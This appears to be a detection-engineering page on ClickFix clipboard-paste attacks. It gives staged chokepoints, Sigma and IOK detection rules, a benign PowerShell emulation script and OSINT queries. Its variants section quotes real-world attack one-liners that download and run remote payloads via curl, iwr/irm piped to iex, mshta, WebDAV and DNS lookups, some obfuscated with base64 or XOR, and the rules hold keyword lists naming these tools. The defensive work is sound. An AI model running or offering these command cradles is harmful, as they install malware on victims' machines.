ClickFix Techniques
User pastes a malicious command from their clipboard into a Run dialog, terminal, or Explorer address bar. The lure page writes to the clipboard via JavaScript and the user does the rest. No attachment, no exploit, no macro. The clipboard is the delivery mechanism and the scripting interpreter spawn is the chokepoint. 9 variants tracked, from fake CAPTCHAs to cloned install pages to DNS-based payload retrieval. APT28, MuddyWater, and Kimsuky adopted ClickFix for espionage in late 2024. This is not just commodity crimeware anymore.
Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Clipboard Seeding ▶
- Scripting interpreter on target (powershell.exe, cmd.exe, mshta.exe)
- Browser with Clipboard API (enabled by default everywhere)
- Web proxy with JS/HTML content inspection
- IOK lure-page rule feed (phish.report)
- ETW Microsoft-Windows-Win32k (GUID: 8c416c79-d49b-4f01-a467-e56d3aa8234c)
- ETW Microsoft.Windows.OLE.Clipboard (GUID: 3e0e3a92-b00b-4456-9dee-f40aba77f00e)
IOK match: ClickFix lure page with clipboard API ▶
2 Interpreter Execution ▶
- Sysmon Event ID 1 (Process Creation)
- Windows Security Event ID 4688 (Process Creation)
Sysmon EID 1: explorer.exe spawns powershell.exe with encoded command ▶
3 Second Stage Retrieval ▶
- Sysmon Event ID 3 (Network Connection)
- Sysmon Event ID 22 (DNS Query)
Sysmon EID 3: powershell.exe outbound to staging domain ▶
Variations 9 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
ClickFix 2024-Q1 Active ▶
conhost.exe --headless cmd /c cd /D %userprofile% && curl -s -o a.exe hxxp[://]213.209.150[.]188:8112/a.exe && conhost.exe --headless a.exe && REM By pressing the enter button you confirm you are not a bot
FileFix 2025-Q2 Active ▶
powershell.exe irm blake-wright-andorra-learners.trycloudflare[.]com/rhugei.jpg | iex # Capcha Verify
TerminalFix 2024-Q4 Active ▶
iwr -useb hxxp[://]93.185.166[.]113/troubleshoot.ps1 | iex
curl -o troubleshot.sh hxxp[://]93.185.166[.]113/troubleshot.sh && chmod +x troubleshot.sh && bash troubleshot.sh
DownloadFix 2024-Q4 Active ▶
@echo off
calc.exe
exit
# PoC payload. Real attacks replace calc.exe with download cradle or reverse shell
JackFix / GlitchFix / ConsentFix 2025 Active ▶
powershell -w hidden -ep bypass -c "$v='693c2466...';$k=0x4B;$b=[byte[]]@(for($i=0;$i -lt $v.Length;$i+=2){[Convert]::ToByte($v.Substring($i,2),16) -bxor $k});IEX([Text.Encoding]::UTF8.GetString($b))"
WebDAV ClickFix 2025-Q1 Active ▶
cmd.exe /c net use Z: hxxp[://]94.156.170[.]255/webdav /persistent:no && "Z:\update.cmd" & net use Z: /delete
InstallFix 2026-Q1 Active ▶
curl -ksfLS $(echo 'aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi'|base64 -D)| zsh
C:\Windows\SysWOW64\mshta.exe hxxps[://]claude.update-version[.]com/claude
Windows Terminal ClickFix 2026-Q1 Active ▶
powershell -w hidden -ep bypass -enc WwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAH...
→ decodes to: IEX (New-Object Net.WebClient).DownloadString('hxxps[://]c2-lumma[.]net/drop')
DNS-based ClickFix 2026-Q1 Active ▶
cmd /c "nslookup ff123%USERNAME%[.]dns1[.]buhg-uslugi[.]ru && echo ✅ Ваше устройство добавлено в доверительное: 6520"
cmd /c "for /f "tokens=5" %a in ('nslookup example[.]com 84[.]21[.]189[.]20 2^>nul ^| find "Name"') do powershell -w hidden -c "%a"
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Pre-Execution, ETW Clipboard Write
Pre-Exec
Medium FP
▶
Process: [any browser] writing to clipboard ClipboardContent contains: powershell, -enc, mshta, nslookup, cmd.exe, IEX, \\\\ (UNC)
title: Browser Process Writing Scripting Payload to Clipboard (ETW)
id: f3b8e2d1-7c4a-4b9e-a2f6-1d8e5c0b3a7f
status: experimental
description: >
Detects browser processes writing PowerShell/cmd keywords to the clipboard via ETW.
Pre-execution layer — fires before the user pastes.
references:
- https://gist.github.com/mattifestation/04e8299d8bc97ef825affe733310f7bd
- https://github.com/mandiant/SilkETW
- https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
- https://attack.mitre.org/techniques/T1204/004/
author: "@iimp0ster"
date: 2026/03/10
tags:
- attack.initial_access
- attack.t1204.004
- detection.maturity.hunt
- detection.datasource.etw
logsource:
product: windows
category: clipboard
# Requires ETW infrastructure. Two provider options:
# Microsoft-Windows-Win32k GUID: 8c416c79-d49b-4f01-a467-e56d3aa8234c
# Microsoft.Windows.OLE.Clipboard GUID: 3e0e3a92-b00b-4456-9dee-f40aba77f00e
# Configure SilkETW (github.com/mandiant/SilkETW) with either provider and route
# output to Windows Event Log or forward to SIEM via Windows Event Forwarding (WEF).
# Field names below reflect SilkETW JSON serialization defaults — adjust to match
# your ingestion pipeline's schema.
detection:
selection_browser:
ProcessName|endswith:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
- '\brave.exe'
- '\opera.exe'
- '\vivaldi.exe'
- '\waterfox.exe'
selection_payload_keywords:
ClipboardContent|contains:
- 'powershell'
- '-EncodedCommand'
- '-enc '
- 'mshta'
- 'nslookup'
- 'cmd.exe'
- 'wscript'
- 'cscript'
- 'IEX'
- 'Invoke-Expression'
- '\\\\' # UNC path prefix — WebDAV ClickFix variant
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
ProcessName|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_browser and selection_payload_keywords and not filter_legit_software
falsepositives:
- Developer tools or documentation sites that copy script examples to clipboard (rare
match against these specific keywords in combination with a browser process)
- Code snippet managers or password managers with keyboard shortcut triggers
level: high
Pre-Interaction, IOK Lure Page
Pre-Exec
Low FP
▶
js contains: navigator.clipboard.writeText OR navigator.clipboard.write OR ClipboardItem html contains: Win+R OR Run dialog OR Ctrl+V OR Windows Terminal OR Win+X OR address bar Condition: clipboard_api AND execution_hint
title: ClickFix Lure Page — Clipboard API Write with Execution Instruction
description: >
Detects ClickFix-family lure pages that combine a JavaScript Clipboard API write
(navigator.clipboard.writeText / ClipboardItem) with instructions directing the user
to paste into a Run dialog, Windows Terminal, File Explorer address bar, or similar
execution context. The co-occurrence of clipboard seeding AND an execution instruction
is the stable invariant across all ClickFix variants regardless of visual design,
threat actor, or obfuscation technique. Covers: ClickFix (original), FileFix, WebDAV
ClickFix, Windows Terminal ClickFix, InstallFix, DNS-based ClickFix, and future variants
that have not yet been named.
tags:
- clickfix
- initial_access
- t1204.004
references:
- https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
- https://mrd0x.com/filefix-clickfix-alternative/
- https://thehackernews.com/2026/03/microsoft-reveals-clickfix-campaign.html
- https://attack.mitre.org/techniques/T1204/004/
- https://phish.report/docs/iok-rule-reference
detection:
clipboard_api:
js|contains:
- 'navigator.clipboard.writeText'
- 'navigator.clipboard.write'
- 'ClipboardItem'
execution_hint:
html|contains:
- 'Win+R'
- 'Windows key'
- 'Run dialog'
- 'Ctrl+V'
- 'Windows Terminal'
- 'Win+X'
- 'address bar'
- 'Ctrl+L'
condition: clipboard_api and execution_hint
# ─── IOK Detection Notes ─────────────────────────────────────────────────────────
# Kill chain position: PRE-INTERACTION — fires against the lure page itself, before
# the user copies or executes anything. Earliest possible detection point.
#
# Why this condition is stable across all variants:
# clipboard_api — the browser MUST write the payload to the clipboard; without this
# the user cannot paste it. Cannot be removed without breaking the attack.
# execution_hint — the page MUST instruct the user where to paste; without this the
# user will not execute the payload. Cannot be removed without breaking
# the social engineering component.
#
# False positive profile:
# clipboard_api alone → HIGH FP (widely used by legitimate sites for copy buttons)
# execution_hint alone → LOW FP (paste-into-shell instructions are unusual on legit sites)
# clipboard_api AND execution_hint → VERY LOW FP (near-unique to ClickFix)
#
# Evasion considerations:
# - Obfuscated clipboard writes (e.g., atob() + eval(), string concatenation) evade
# js|contains; add dom|contains matchers if your scanner supports post-JS rendering.
# - Multilingual lures: add translated execution instructions for your threat landscape
# (e.g., Japanese: 'を押して', Korean: '실행', etc.)
# - Dynamically injected clipboard write (loaded from external JS) evades js|contains;
# pair with requests|contains for known ClickFix JS CDN patterns.
#
# Usage:
# - Submit to phish.report/IOK for community feed inclusion.
# - Run against URLScan.io live scan API for proactive infrastructure hunting.
# - Integrate with web proxy content inspection for real-time blocking.
Browser/explorer/wt.exe spawning script interpreter. Process creation only — ...
Hunt
Med FP
▶
Script interpreter with parent = explorer.exe / wt.exe / browser. These should almost never spawn interpreters in enterprise. Investigate when they do.
title: Browser or Explorer Spawning Script Interpreter
id: a7b3c9d2-5e8f-4a1b-9c6d-3f2e8b0a4d7e
status: experimental
description: >
Detects scripting interpreters spawned by browsers, Explorer, or Windows Terminal.
Browsers should rarely spawn script interpreters in enterprise environments.
references:
- https://huntress.com/blog/dont-sweat-clickfix-techniques
- https://staging.huntress.com/blog/dont-sweat-clickfix-techniques
- https://mhaggis.github.io/ClickGrab/
- https://www.aitmfeed.com/blog/blog-1/tracking-clickfix-infrastructure-4
- https://attack.mitre.org/techniques/T1204/001/
- https://thehackernews.com/2026/03/microsoft-reveals-clickfix-campaign.html
- https://www.bleepingcomputer.com/news/security/new-clickfix-attack-abuses-nslookup-to-retrieve-powershell-payload-via-dns/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.t1204.001
- attack.t1204.003
- detection.maturity.hunt
logsource:
category: process_creation
product: windows
detection:
selection_interpreter:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
selection_parent_browser:
ParentImage|endswith:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
- '\opera.exe'
- '\brave.exe'
- '\vivaldi.exe'
- '\waterfox.exe'
selection_parent_explorer:
ParentImage|endswith:
- '\explorer.exe'
- '\wt.exe'
- '\WindowsTerminal.exe'
filter_known_legit:
# Browser-launched shell integrations for file associations (rare but legitimate)
CommandLine|contains:
- 'IEShims.dll'
- 'ShellExecute'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_interpreter and (selection_parent_browser or selection_parent_explorer) and not filter_known_legit and not filter_legit_software
falsepositives:
- Browser extensions that invoke system shell for file processing (rare)
- Shell integrations for file associations opened via browser download
- IT tooling launched from Windows Explorer (e.g., admin scripts opened by double-click)
- Some enterprise software launchers that spawn from explorer.exe
level: medium
Hunt parent filter + encoded/suspicious command-line content. If this fires, ...
Analyst
Low FP
▶
Parent = browser/explorer/wt.exe AND CommandLine contains -enc, FromBase64String, IEX, DownloadString, net use, nslookup, or rundll32 \\\\.
title: Browser-Spawned Script with Encoded Command — ClickFix/Clipboard Attack
id: f1e2d3c4-b5a6-4789-a0b1-c2d3e4f5a6b7
status: experimental
description: >
Detects scripting interpreters with encoded/obfuscated commands spawned by browsers,
Explorer, or Windows Terminal. Stage 2 process creation only — correlate ProcessGuid
with hunt-network.yml for Stage 3.
references:
- https://huntress.com/blog/dont-sweat-clickfix-techniques
- https://staging.huntress.com/blog/dont-sweat-clickfix-techniques
- https://mhaggis.github.io/ClickGrab/
- https://www.aitmfeed.com/blog/blog-1/tracking-clickfix-infrastructure-4
- https://attack.mitre.org/techniques/T1204/001/
- https://attack.mitre.org/techniques/T1204/003/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.t1204.001
- attack.t1204.004
- attack.defense_evasion
- attack.t1027
- detection.maturity.analyst
logsource:
category: process_creation
product: windows
detection:
selection_interpreter:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\rundll32.exe'
selection_parent:
ParentImage|endswith:
- '\chrome.exe'
- '\firefox.exe'
- '\msedge.exe'
- '\iexplore.exe'
- '\opera.exe'
- '\brave.exe'
- '\vivaldi.exe'
- '\explorer.exe'
- '\wt.exe'
- '\WindowsTerminal.exe'
selection_encoded:
CommandLine|contains:
# PowerShell encoded command flags
- ' -enc '
- ' -EncodedCommand '
- ' -ec '
# Base64 decode patterns
- 'FromBase64String'
- 'Convert]::FromBase64'
# Execution patterns
- 'IEX ('
- 'IEX('
- 'Invoke-Expression'
- 'iex('
# Download-and-execute patterns
- 'DownloadString'
- 'DownloadFile'
- 'WebClient'
- 'Net.WebClient'
- 'Invoke-WebRequest'
- 'iwr '
- 'curl '
# mshta http invocation
- 'mshta http'
- 'mshta vbscript'
# cmd piping to powershell
- '/c powershell'
- '/c start'
# WebDAV variant patterns
- 'net use '
- '/persistent:no'
- 'rundll32 \\\\'
# DNS-staging variant patterns
- 'nslookup '
filter_legit_software:
# Known-good software that uses encoded commands during legitimate operation
# Tune this list for your environment
ParentCommandLine|contains:
- 'Teams.exe'
- 'OneDrive.exe'
condition: selection_interpreter and selection_parent and selection_encoded and not filter_legit_software
falsepositives:
- Legitimate software deployment tools that encode commands (rare when browser is parent)
- Custom IT automation scripts that use encoded commands and are user-initiated
- Developers using PowerShell with encoding from browser-launched terminals
level: high
Script interpreter → outbound non-RFC1918. Baseline your environment.
Research
High FP
▶
Any powershell/cmd/wscript/cscript/mshta outbound to non-RFC1918. No parent filter. Build your baseline of legitimate interpreter network activity first.
title: Scripting Interpreter Outbound Network Connection
id: c4f8a2b1-3e7d-4a5c-8b9f-2d1e6f0a7c3b
status: experimental
description: >
Detects scripting interpreters making outbound connections to external (non-RFC1918)
addresses. Broad baseline — high FP rate expected.
references:
- https://huntress.com/blog/dont-sweat-clickfix-techniques
- https://mhaggis.github.io/ClickGrab/
- https://attack.mitre.org/techniques/T1204/001/
author: "@iimp0ster"
date: 2025/01/15
tags:
- attack.initial_access
- attack.t1204.001
- attack.t1204.003
- detection.maturity.research
logsource:
category: network_connection
product: windows
detection:
selection:
Initiated: 'true'
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
filter_private:
DestinationIp|cidr:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '127.0.0.0/8'
- '::1/128'
filter_loopback:
DestinationIp: '0.0.0.0'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection and not 1 of filter_*
falsepositives:
- Legitimate administrative scripts making web requests (SCCM, Ansible, etc.)
- Software update mechanisms (Windows Update, application updaters)
- Monitoring agents and IT management tooling
- Developer tooling (npm, pip, curl wrappers, build scripts)
- Security scanning tools
level: low
Browser-Spawned Interpreter Outbound Connection
Hunt
Med FP
New
▶
title: Browser-Spawned Script Interpreter Outbound Connection
id: d5e6f7a8-9b0c-4d1e-2f3a-4b5c6d7e8f9a
status: experimental
description: >
Detects scripting interpreters initiating outbound connections to non-RFC1918 addresses.
Stage 3 detection — correlate ProcessGuid with hunt.yml for parent chain confirmation.
references:
- https://iimp0ster.github.io/detection-chokepoints/chokepoints/clickfix-techniques/
- https://huntress.com/blog/dont-sweat-clickfix-techniques
- https://attack.mitre.org/techniques/T1204/004/
author: "@iimp0ster"
date: 2026/04/01
tags:
- attack.initial_access
- attack.t1204.004
- attack.command_and_control
- attack.t1071.001
- detection.maturity.hunt
- detection.chokepoint.stage3
logsource:
category: network_connection
product: windows
detection:
selection_interpreter:
Initiated: 'true'
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\mshta.exe'
- '\nslookup.exe'
- '\rundll32.exe'
filter_private:
DestinationIp|cidr:
- '10.0.0.0/8'
- '172.16.0.0/12'
- '192.168.0.0/16'
- '127.0.0.0/8'
- '::1/128'
filter_loopback:
DestinationIp: '0.0.0.0'
filter_legit_software:
# Tune for your environment — add legitimate software that triggers this rule
Image|endswith:
- '\placeholder_tune_for_your_env.exe'
condition: selection_interpreter and not 1 of filter_*
# SIEM CORRELATION: Join ProcessGuid with hunt.yml (EID 1)
# where ParentImage = browser/explorer/wt.exe
# and time delta < 300 seconds
falsepositives:
- Legitimate administrative scripts making web requests (SCCM, Ansible)
- Software update mechanisms using PowerShell
- Developer tooling (npm, pip, build scripts)
level: medium
Raw Log Samples 3 samples
Real-world log events produced by this technique and which Sigma rules they trigger.
EID 1 Sysmon PowerShell spawned by Chrome with encoded command, the core ClickFix indicator ▶
EID 22 Sysmon DNS query from PowerShell to attacker C2 domain during resolution phase ▶
EID 3 Sysmon Outbound network connection from PowerShell to C2 for payload download or beacon ▶
Emulation
ATT&CK: T1204.004 Simulates ClickFix interpreter execution with encoded command and outbound connection powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1204.004 — Malicious Copy-Paste
# Simulates ClickFix UI deception chain that spawns a script interpreter to execute a payload.
[CmdletBinding()]
param(
[switch]$UseVbsShim,
[switch]$CleanupOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Stop'
$VbsShimPath = Join-Path $env:TEMP "cf_shim_$(Get-Random).vbs"
$C2Endpoint = 'https://example.com'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function Remove-Artefacts {
if (Test-Path $VbsShimPath) {
Remove-Item $VbsShimPath -Force -ErrorAction SilentlyContinue
Write-Ok "Removed VBS shim: $VbsShimPath"
}
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
Write-Host ""
Write-Host "=== ClickFix Technique Emulation ===" -ForegroundColor Magenta
Write-Host " T1204.004 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
Write-Step "Step 1/3 — Executing PowerShell with -EncodedCommand flag"
# Benign payload: Get-Date | Out-String (base64 encoded)
$BenignCmd = 'Get-Date | Out-String'
$EncodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($BenignCmd))
Write-Verbose " Encoded payload (benign): $EncodedCmd"
$result = powershell.exe -NonInteractive -NoProfile -EncodedCommand $EncodedCmd
Write-Ok "Encoded command executed. Output: $($result.Trim())"
Start-Sleep -Milliseconds 300
Write-Step "Step 2/3 — DNS resolution + outbound HTTP connection from interpreter"
try {
$null = [System.Net.Dns]::GetHostAddresses('example.com')
Write-Ok "DNS resolved example.com (Sysmon EID 22 generated)"
} catch {
Write-Warn "DNS resolution failed: $_"
}
try {
$resp = Invoke-WebRequest -Uri $C2Endpoint -Method HEAD -TimeoutSec 10 `
-UseBasicParsing -ErrorAction Stop
Write-Ok "Outbound connection made (HTTP $($resp.StatusCode)) — Sysmon EID 3 generated"
} catch {
Write-Warn "Network request failed (telemetry may still fire): $_"
}
Start-Sleep -Milliseconds 300
# This is what makes Hunt/Analyst rules fire — browser/scripting parent spawning PowerShell
if ($UseVbsShim) {
Write-Step "Step 3/3 — Spawning PowerShell via VBScript shim (browser parent simulation)"
Write-Verbose " Note: For full browser parent (chrome.exe → powershell.exe), manually:"
Write-Verbose " 1. Open Chrome, press F12 → Console"
Write-Verbose " 2. This script cannot automate that chain safely"
# VBScript spawns PowerShell with encoded command — simulates wscript.exe parent chain
$InnerEncoded = [Convert]::ToBase64String(
[System.Text.Encoding]::Unicode.GetBytes('Write-Host "ClickFix emulation - child of wscript"')
)
$VbsContent = @"
Dim oShell
Set oShell = CreateObject("WScript.Shell")
oShell.Run "powershell.exe -NonInteractive -NoProfile -EncodedCommand $InnerEncoded", 0, True
"@
Set-Content -Path $VbsShimPath -Value $VbsContent -Encoding ASCII
Write-Ok "VBS shim written to $VbsShimPath"
try {
$proc = Start-Process -FilePath 'wscript.exe' -ArgumentList "`"$VbsShimPath`"" `
-Wait -PassThru -ErrorAction Stop
Write-Ok "VBScript → PowerShell chain executed (wscript.exe PID $($proc.Id))"
Write-Ok "Expected parent chain in telemetry: wscript.exe → powershell.exe"
} catch {
Write-Warn "VBS shim execution failed: $_"
}
} else {
Write-Warn "Step 3 skipped (run with -UseVbsShim for Hunt/Analyst parent chain simulation)"
Write-Warn "For full Analyst rule validation, Hunt parent chain requires browser context."
Write-Host ""
Write-Host " Manual Hunt/Analyst test:" -ForegroundColor DarkGray
Write-Host " 1. Open Chrome/Edge DevTools console" -ForegroundColor DarkGray
Write-Host " 2. Paste: powershell.exe -enc $EncodedCmd" -ForegroundColor DarkGray
Write-Host " 3. Check Sysmon EID 1 for ParentImage=chrome.exe" -ForegroundColor DarkGray
}
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] Sysmon EID 1 (powershell w/ -enc) + EID 3 (outbound network)" -ForegroundColor DarkCyan
Write-Host " [Hunt] EID 1 parent=wscript/browser + EID 3 within 60s" -ForegroundColor DarkYellow
Write-Host " [Analyst] EID 1 (-enc, browser parent) + EID 3 (external) + EID 22 (DNS)" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "If no alerts fired, verify:" -ForegroundColor DarkGray
Write-Host " - Sysmon config captures EID 1 (all process creation) and EID 3 (network)"
Write-Host " - Process creation command-line logging enabled in Sysmon config"
Write-Host " - DNS logging enabled (EID 22) in Sysmon config"
Write-Host ""
OSINT Pivots
page.body:navigator.clipboard.writeText AND page.body:"Verify"
page.body:"I am not a robot" AND page.body:navigator.clipboard
page.body:navigator.clipboard AND page.body:"Win+R"
behavior_processes:"nslookup.exe" tag:powershell
behavior_processes:"powershell.exe" behavior_command_line:"-enc" tag:dropper